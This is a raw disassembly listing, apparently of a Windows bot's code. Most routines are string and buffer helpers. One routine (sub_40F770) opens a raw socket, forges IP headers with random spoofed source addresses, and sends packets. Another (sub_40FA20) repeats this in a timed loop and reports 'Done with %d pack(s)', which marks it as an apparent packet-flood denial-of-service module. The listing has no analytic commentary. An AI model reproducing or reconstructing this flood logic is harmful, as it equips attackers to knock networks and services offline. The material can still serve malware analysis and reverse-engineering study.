		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_44D6A4
		call	sub_423B24
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_40F143
		push	0FFFFFFFFh
		push	0
		push	ebx
		mov	ecx, edi
		call	sub_40F210
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_42F368
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_40F1B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F210	proc near		; CODE XREF: sub_40F1B0+42p
					; sub_40F389+3Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40F228
		call	sub_421D6B


loc_40F228:				; CODE XREF: sub_40F210+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40F23A
		mov	esi, [ebp+arg_8]


loc_40F23A:				; CODE XREF: sub_40F210+25j
		cmp	edi, ebx
		jnz	short loc_40F258
		add	esi, ecx
		push	0FFFFFFFFh
		push	esi
		mov	ecx, edi
		call	sub_40F2DD
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40F2DD
		jmp	short loc_40F2D4
; ---------------------------------------------------------------------------


loc_40F258:				; CODE XREF: sub_40F210+2Cj
		test	esi, esi
		jbe	short loc_40F29B
		cmp	esi, eax
		jnz	short loc_40F29B
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40F26C
		mov	eax, offset dword_42F314


loc_40F26C:				; CODE XREF: sub_40F210+55j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40F29B
		push	1
		mov	ecx, edi
		call	sub_40F143
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40F287
		mov	eax, offset dword_42F314


loc_40F287:				; CODE XREF: sub_40F210+70j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40F2D4
; ---------------------------------------------------------------------------


loc_40F29B:				; CODE XREF: sub_40F210+4Aj
					; sub_40F210+4Ej ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40F3E1
		test	al, al
		jz	short loc_40F2D4
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_40F2B8
		mov	eax, offset dword_42F314


loc_40F2B8:				; CODE XREF: sub_40F210+A1j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4223F0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40F2D4:				; CODE XREF: sub_40F210+46j
					; sub_40F210+89j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40F210	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F2DD	proc near		; CODE XREF: sub_40F210+35p
					; sub_40F210+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40F2F0
		call	sub_421D6B


loc_40F2F0:				; CODE XREF: sub_40F2DD+Cj
		mov	ecx, edi
		call	sub_40F740
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40F306
		mov	ebx, eax


loc_40F306:				; CODE XREF: sub_40F2DD+25j
		test	ebx, ebx
		jbe	short loc_40F33C
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_423C20
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40F3E1
		test	al, al
		jz	short loc_40F33C
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40F33C:				; CODE XREF: sub_40F2DD+2Bj
					; sub_40F2DD+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40F2DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F344	proc near		; DATA XREF: .text:0042F34Co
					; .text:0042F36Co ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_40F350
		mov	eax, offset dword_42F314

locret_40F350:				; CODE XREF: sub_40F344+5j
		retn
sub_40F344	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F351	proc near		; DATA XREF: .text:0042F370o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_40F389
		lea	eax, [ebp+var_1C]
		push	offset dword_430124
		push	eax
		call	sub_423A87
sub_40F351	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F36E	proc near		; CODE XREF: sub_40F632+20p
					; DATA XREF: .text:004300C4o ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_42F368
		call	sub_40F143
		mov	ecx, esi
		pop	esi
		jmp	sub_423BAB
sub_40F36E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F389	proc near		; CODE XREF: sub_40F351+Ap
					; sub_40F728+7p ...
		mov	eax, offset loc_42EEE8
		call	sub_423A68
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_423B61
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_40F143
		push	0FFFFFFFFh
		push	0
		push	ebx
		mov	ecx, edi
		call	sub_40F210
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_42F368
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_40F389	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F3E1	proc near		; CODE XREF: sub_40F17B+Bp
					; sub_40F210+90p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40F3F3
		call	sub_421C83


loc_40F3F3:				; CODE XREF: sub_40F3E1+Bj
		mov	eax, [esi+4]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_40F41B
		mov	cl, [eax-1]
		cmp	cl, dl
		jz	short loc_40F41B
		cmp	cl, 0FFh
		jz	short loc_40F41B
		cmp	edi, edx
		mov	ecx, esi
		jnz	short loc_40F45A
		dec	byte ptr [eax-1]
		push	edx


loc_40F412:				; CODE XREF: sub_40F3E1+48j
		call	sub_40F143


loc_40F417:				; CODE XREF: sub_40F3E1+4Cj
					; sub_40F3E1+53j
		xor	al, al
		jmp	short loc_40F462
; ---------------------------------------------------------------------------


loc_40F41B:				; CODE XREF: sub_40F3E1+19j
					; sub_40F3E1+20j ...
		cmp	edi, edx
		jnz	short loc_40F436
		cmp	[esp+8+arg_4], dl
		jz	short loc_40F42B
		push	1
		mov	ecx, esi
		jmp	short loc_40F412
; ---------------------------------------------------------------------------


loc_40F42B:				; CODE XREF: sub_40F3E1+42j
		cmp	eax, edx
		jz	short loc_40F417
		mov	[esi+8], edx
		mov	[eax], dl
		jmp	short loc_40F417
; ---------------------------------------------------------------------------


loc_40F436:				; CODE XREF: sub_40F3E1+3Cj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40F453
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40F448
		cmp	eax, edi
		jnb	short loc_40F460


loc_40F448:				; CODE XREF: sub_40F3E1+61j
		push	1
		mov	ecx, esi
		call	sub_40F143
		jmp	short loc_40F458
; ---------------------------------------------------------------------------


loc_40F453:				; CODE XREF: sub_40F3E1+59j
		cmp	[esi+0Ch], edi
		jnb	short loc_40F460


loc_40F458:				; CODE XREF: sub_40F3E1+70j
		mov	ecx, esi


loc_40F45A:				; CODE XREF: sub_40F3E1+2Bj
		push	edi
		call	sub_40F66B


loc_40F460:				; CODE XREF: sub_40F3E1+65j
					; sub_40F3E1+75j
		mov	al, 1


loc_40F462:				; CODE XREF: sub_40F3E1+38j
		pop	edi
		pop	esi
		retn	8
sub_40F3E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F467	proc near		; CODE XREF: sub_40F0D0+9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	ecx, [esi+8]
		mov	eax, [esi+0Ch]
		sub	eax, ecx
		sar	eax, 2
		cmp	eax, edi
		jnb	loc_40F559
		mov	edx, [esi+4]
		test	edx, edx
		jz	short loc_40F498
		mov	eax, ecx
		sub	eax, edx
		sar	eax, 2
		cmp	edi, eax
		jb	short loc_40F49A


loc_40F498:				; CODE XREF: sub_40F467+24j
		mov	eax, edi


loc_40F49A:				; CODE XREF: sub_40F467+2Fj
		test	edx, edx
		jnz	short loc_40F4A2
		xor	ecx, ecx
		jmp	short loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F4A2:				; CODE XREF: sub_40F467+35j
		sub	ecx, edx
		sar	ecx, 2


loc_40F4A7:				; CODE XREF: sub_40F467+39j
		add	eax, ecx
		test	eax, eax
		mov	[ebp+var_4], eax
		jge	short loc_40F4B2
		xor	eax, eax


loc_40F4B2:				; CODE XREF: sub_40F467+47j
		shl	eax, 2
		push	eax
		call	sub_423F55
		mov	edx, eax
		mov	eax, [esi+4]
		pop	ecx
		mov	[ebp+arg_4], edx
		jmp	short loc_40F4D4
; ---------------------------------------------------------------------------


loc_40F4C6:				; CODE XREF: sub_40F467+70j
		test	edx, edx
		jz	short loc_40F4CE
		mov	ecx, [eax]
		mov	[edx], ecx


loc_40F4CE:				; CODE XREF: sub_40F467+61j
		add	edx, 4
		add	eax, 4


loc_40F4D4:				; CODE XREF: sub_40F467+5Dj
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40F4C6
		test	edi, edi
		mov	eax, edx
		jbe	short loc_40F4F2
		mov	ecx, edi


loc_40F4E1:				; CODE XREF: sub_40F467+89j
		test	eax, eax
		jz	short loc_40F4EC
		mov	ebx, [ebp+arg_8]
		mov	ebx, [ebx]
		mov	[eax], ebx


loc_40F4EC:				; CODE XREF: sub_40F467+7Cj
		add	eax, 4
		dec	ecx
		jnz	short loc_40F4E1


loc_40F4F2:				; CODE XREF: sub_40F467+76j
		mov	eax, [esi+8]
		mov	ecx, edi
		shl	ecx, 2
		cmp	[ebp+arg_0], eax
		mov	[ebp+arg_8], eax
		lea	ebx, [ecx+edx]
		jz	short loc_40F521
		mov	eax, ebx
		sub	eax, ecx
		sub	eax, edx
		add	eax, [ebp+arg_0]


loc_40F50E:				; CODE XREF: sub_40F467+B8j
		test	ebx, ebx
		jz	short loc_40F516
		mov	ecx, [eax]
		mov	[ebx], ecx


loc_40F516:				; CODE XREF: sub_40F467+A9j
		add	eax, 4
		add	ebx, 4
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40F50E


loc_40F521:				; CODE XREF: sub_40F467+9Cj
		push	dword ptr [esi+4]
		call	sub_421C78
		mov	eax, [ebp+var_4]
		mov	edx, [esi+4]
		pop	ecx
		mov	ecx, [ebp+arg_4]
		test	edx, edx
		lea	eax, [ecx+eax*4]
		mov	[esi+0Ch], eax
		jnz	short loc_40F541
		xor	eax, eax
		jmp	short loc_40F549
; ---------------------------------------------------------------------------


loc_40F541:				; CODE XREF: sub_40F467+D4j
		mov	eax, [esi+8]
		sub	eax, edx
		sar	eax, 2


loc_40F549:				; CODE XREF: sub_40F467+D8j
		add	eax, edi
		mov	[esi+4], ecx
		lea	eax, [ecx+eax*4]
		mov	[esi+8], eax
		jmp	loc_40F62B
; ---------------------------------------------------------------------------


loc_40F559:				; CODE XREF: sub_40F467+19j
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, edx
		sar	eax, 2
		cmp	eax, edi
		jnb	short loc_40F5D5
		mov	ebx, edi
		shl	ebx, 2
		cmp	edx, ecx
		mov	[ebp+arg_0], ebx
		lea	eax, [ebx+edx]
		mov	[ebp+var_4], eax
		jz	short loc_40F59C
		sub	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	[ebp+arg_4], eax


loc_40F581:				; CODE XREF: sub_40F467+130j
		test	ebx, ebx
		jz	short loc_40F58C
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [ebp+arg_4]


loc_40F58C:				; CODE XREF: sub_40F467+11Cj
		add	eax, 4
		add	ebx, 4
		cmp	eax, ecx
		mov	[ebp+arg_4], eax
		jnz	short loc_40F581
		mov	ebx, [ebp+arg_0]


loc_40F59C:				; CODE XREF: sub_40F467+110j
		mov	eax, [esi+8]
		mov	ecx, eax
		sub	ecx, edx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, [ebp+arg_8]
		jz	short loc_40F5C0
		mov	[ebp+arg_0], edi


loc_40F5B0:				; CODE XREF: sub_40F467+157j
		test	eax, eax
		jz	short loc_40F5B8
		mov	edi, [ecx]
		mov	[eax], edi


loc_40F5B8:				; CODE XREF: sub_40F467+14Bj
		add	eax, 4
		dec	[ebp+arg_0]
		jnz	short loc_40F5B0


loc_40F5C0:				; CODE XREF: sub_40F467+144j
		mov	eax, [esi+8]
		jmp	short loc_40F5CC
; ---------------------------------------------------------------------------


loc_40F5C5:				; CODE XREF: sub_40F467+167j
		mov	edi, [ecx]
		mov	[edx], edi
		add	edx, 4


loc_40F5CC:				; CODE XREF: sub_40F467+15Cj
		cmp	edx, eax
		jnz	short loc_40F5C5
		add	[esi+8], ebx
		jmp	short loc_40F62B
; ---------------------------------------------------------------------------


loc_40F5D5:				; CODE XREF: sub_40F467+FEj
		test	edi, edi
		jbe	short loc_40F62B
		shl	edi, 2
		mov	eax, ecx
		mov	ebx, ecx
		mov	[ebp+arg_0], edi
		sub	eax, edi
		jmp	short loc_40F5F8
; ---------------------------------------------------------------------------


loc_40F5E7:				; CODE XREF: sub_40F467+193j
		test	ebx, ebx
		jz	short loc_40F5F2
		mov	edi, [eax]
		mov	[ebx], edi
		mov	edi, [ebp+arg_0]


loc_40F5F2:				; CODE XREF: sub_40F467+182j
		add	ebx, 4
		add	eax, 4


loc_40F5F8:				; CODE XREF: sub_40F467+17Ej
		cmp	eax, ecx
		jnz	short loc_40F5E7
		mov	ecx, [esi+8]
		mov	eax, ecx
		sub	eax, edi
		cmp	edx, eax
		jz	short loc_40F615


loc_40F607:				; CODE XREF: sub_40F467+1ACj
		sub	eax, 4
		sub	ecx, 4
		cmp	eax, edx
		mov	ebx, [eax]
		mov	[ecx], ebx
		jnz	short loc_40F607


loc_40F615:				; CODE XREF: sub_40F467+19Ej
		lea	eax, [edi+edx]
		jmp	short loc_40F624
; ---------------------------------------------------------------------------


loc_40F61A:				; CODE XREF: sub_40F467+1BFj
		mov	ecx, [ebp+arg_8]
		mov	ecx, [ecx]
		mov	[edx], ecx
		add	edx, 4


loc_40F624:				; CODE XREF: sub_40F467+1B1j
		cmp	edx, eax
		jnz	short loc_40F61A
		add	[esi+8], edi


loc_40F62B:				; CODE XREF: sub_40F467+EDj
					; sub_40F467+16Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_40F467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F632	proc near		; DATA XREF: .text:0042F380o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_40F728
		lea	eax, [ebp+var_1C]
		push	offset dword_4300C0
		push	eax
		call	sub_423A87


loc_40F64F:				; DATA XREF: .text:off_42F368o
					; .text:off_42F378o
		push	esi
		mov	esi, ecx
		call	sub_40F36E
		test	[esp+20h+var_18], 1
		jz	short loc_40F665
		push	esi
		call	sub_421C78
		pop	ecx


loc_40F665:				; CODE XREF: sub_40F632+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_40F632	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F66B	proc near		; CODE XREF: sub_40F3E1+7Ap
		mov	eax, offset loc_42EEF4
		call	sub_423A68
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40F691
		mov	edi, [ebp+8]


loc_40F691:				; CODE XREF: sub_40F66B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40F69E
		xor	eax, eax


loc_40F69E:				; CODE XREF: sub_40F66B+2Fj
		push	eax
		call	sub_423F55
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40F6CF
; ---------------------------------------------------------------------------


loc_40F6AA:				; DATA XREF: .text:00430174o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40F6B9
		xor	eax, eax


loc_40F6B9:				; CODE XREF: sub_40F66B+4Aj
		push	eax
		call	sub_423F55
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40F6C9
		retn
; ---------------------------------------------------------------------------


loc_40F6C9:				; DATA XREF: sub_40F66B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40F6CF:				; CODE XREF: sub_40F66B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40F6ED
		cmp	eax, edi
		jbe	short loc_40F6DC
		mov	eax, edi


loc_40F6DC:				; CODE XREF: sub_40F66B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4223F0
		add	esp, 0Ch


loc_40F6ED:				; CODE XREF: sub_40F66B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40F143
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40F70D
		mov	edi, ebx


loc_40F70D:				; CODE XREF: sub_40F66B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40F66B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F728	proc near		; CODE XREF: sub_40F632+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40F389
		mov	dword ptr [esi], offset	off_42F378
		mov	eax, esi
		pop	esi
		retn	4
sub_40F728	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F740	proc near		; CODE XREF: sub_40F2DD+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40F76D
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40F76D
		cmp	al, 0FFh
		jz	short loc_40F76D
		push	1
		call	sub_40F143
		push	esi
		call	sub_422120
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40F17B


loc_40F76D:				; CODE XREF: sub_40F740+9j
					; sub_40F740+10j ...
		pop	edi
		pop	esi
		retn
sub_40F740	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F770	proc near		; CODE XREF: sub_40FA20+5Fp

var_20C		= byte ptr -20Ch
var_7C		= byte ptr -7Ch
var_7B		= byte ptr -7Bh
var_64		= byte ptr -64h
var_54		= byte ptr -54h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	dword_42F2AC	; inet_addr
		push	0Eh
		mov	[ebp+var_4], eax
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_7B]
		mov	[ebp+var_7C], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_20C]
		push	eax
		push	202h
		call	dword_42F290	; WSAStartup
		test	eax, eax
		jz	short loc_40F7C0
		push	[ebp+arg_4]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread


loc_40F7C0:				; CODE XREF: sub_40F770+3Ej
		mov	esi, offset dword_4552D0
		push	100h
		push	esi
		call	dword_42F2A8	; gethostname
		push	esi
		call	dword_42F274	; gethostbyname
		mov	eax, [eax+0Ch]
		push	1
		push	ebx
		mov	edi, 0FFh
		mov	eax, [eax]
		push	ebx
		push	edi
		push	3
		mov	esi, [eax]
		push	2
		call	dword_42F2A0	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40F7FE
		push	eax
		jmp	short loc_40F81D
; ---------------------------------------------------------------------------


loc_40F7FE:				; CODE XREF: sub_40F770+89j
		lea	ecx, [ebp+var_30]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_30], 1
		call	dword_4542F0	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F84F
		push	[ebp+arg_0]


loc_40F81D:				; CODE XREF: sub_40F770+8Cj
		call	dword_42F298	; closesocket
		push	[ebp+arg_4]
		call	sub_41C059
		pop	ecx
		mov	esi, offset dword_439638
		mov	ecx, [ebp+arg_8]
		push	esi
		call	sub_41074B
		mov	ecx, [ebp+arg_8]
		push	offset dword_43963C
		push	esi
		call	sub_410720
		xor	eax, eax
		jmp	loc_40FA1B
; ---------------------------------------------------------------------------


loc_40F84F:				; CODE XREF: sub_40F770+A8j
		push	8
		call	sub_41C235
		test	eax, eax
		pop	ecx
		jle	short loc_40F878
		push	offset aStopped_ ; "Stopped."
		push	8
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_41C090
		add	esp, 20h


loc_40F878:				; CODE XREF: sub_40F770+E9j
		push	10h
		lea	eax, [ebp+var_40]
		push	ebx
		push	eax
		call	sub_4221F0
		call	sub_4220FC
		cdq
		idiv	edi
		and	esi, 0FFFFFFh
		mov	[ebp+var_40], 2
		mov	edi, edx
		shl	edi, 18h
		or	edi, esi
		call	sub_4220FC
		mov	[ebp+var_3E], ax
		mov	eax, [ebp+var_4]
		push	5DCh
		push	1
		mov	[ebp+var_3C], eax
		call	sub_423F63
		mov	esi, dword_42F2B8
		add	esp, 14h
		mov	[ebp+arg_8], eax
		mov	[ebp+var_2C], 46h
		push	604h
		call	esi ; dword_42F2B8
		push	ebx
		mov	[ebp+var_2A], ax
		call	esi ; dword_42F2B8
		or	[ebp+var_24], 0FFh
		mov	[ebp+var_28], ax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	[ebp+var_26], bx
		mov	[ebp+var_23], 2
		mov	[ebp+var_22], bx
		mov	[ebp+var_2B], bl
		mov	[ebp+var_1C], eax
		mov	[ebp+var_20], edi
		call	esi ; dword_42F2B8
		push	ebx
		mov	[ebp+var_18], ax
		call	esi ; dword_42F2B8
		mov	[ebp+var_16], ax
		mov	[ebp+var_14], 11h
		mov	[ebp+var_13], 5
		call	sub_4220FC
		push	offset a0_0_0_0	; "0.0.0.0"
		mov	[ebp+var_A], ax
		mov	[ebp+var_C], bl
		mov	[ebp+var_B], bl
		call	dword_42F2AC	; inet_addr
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		push	10h
		mov	[ebp+var_8], eax
		pop	edi
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_7C]
		mov	[ebp+var_12], bx
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_414271
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_2C]
		push	18h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_4223F0
		push	4
		lea	eax, [ebp+var_54]
		push	ebx
		push	eax
		call	sub_4221F0
		lea	eax, [ebp+var_7C]
		push	28h
		push	eax
		call	sub_414271
		add	esp, 40h
		push	eax
		call	dword_42F278	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	18h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_4223F0
		add	esp, 0Ch
		lea	eax, [ebp+var_40]
		mov	esi, dword_42F2A4
		push	edi
		push	eax
		push	ebx
		lea	eax, [ebp+var_7C]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	esi ; dword_42F2A4
		mov	[ebp+arg_14], eax
		lea	eax, [ebp+var_2C]
		push	18h
		push	eax
		push	[ebp+arg_8]
		call	sub_4223F0
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_8]
		call	sub_4223F0
		add	esp, 18h
		lea	eax, [ebp+var_40]
		push	edi
		push	eax
		push	ebx
		push	604h
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	esi ; dword_42F2A4
		push	[ebp+arg_0]
		inc	dword_454450
		call	dword_42F298	; closesocket
		cmp	[ebp+arg_14], 0FFFFFFFFh
		jnz	short loc_40FA18
		push	[ebp+arg_4]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread


loc_40FA18:				; CODE XREF: sub_40F770+296j
		xor	eax, eax
		inc	eax


loc_40FA1B:				; CODE XREF: sub_40F770+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F770	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA20	proc near		; DATA XREF: sub_403B2C+5949o

var_124		= dword	ptr -124h
var_11C		= byte ptr -11Ch
var_9C		= byte ptr -9Ch
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		mov	esi, dword_42F164
		mov	dword ptr [eax+120h], 1
		mov	eax, [ebp+var_124]
		mov	[ebp+arg_0], eax
		call	esi ; dword_42F164
		mov	ebx, eax
		call	esi ; dword_42F164
		mov	edi, 3E8h
		jmp	short loc_40FA91
; ---------------------------------------------------------------------------


loc_40FA62:				; CODE XREF: sub_40FA20+7Cj
		push	[ebp+var_C]
		lea	eax, [ebp+var_9C]
		push	[ebp+var_8]
		push	eax
		lea	eax, [ebp+var_11C]
		push	[ebp+var_124]
		push	[ebp+var_1C]
		push	eax
		call	sub_40F770
		add	esp, 18h
		push	0Ah
		call	dword_42F15C	; Sleep
		call	esi ; dword_42F164


loc_40FA91:				; CODE XREF: sub_40FA20+40j
		mov	ecx, edi
		xor	edx, edx
		sub	eax, ebx
		div	ecx
		cmp	eax, [ebp+var_14]
		jbe	short loc_40FA62
		xor	ebx, ebx
		mov	edi, offset a2fulsVpayi0 ; "2FUlS/VPAyI0"
		cmp	[ebp+var_8], ebx
		mov	esi, offset aSDoneWithDPack ; "%s Done with %d pack(s)"
		jnz	short loc_40FACE
		cmp	[ebp+var_C], ebx
		jnz	short loc_40FAD3
		push	dword_454450
		lea	eax, [ebp+var_9C]
		push	edi
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 14h


loc_40FACE:				; CODE XREF: sub_40FA20+8Dj
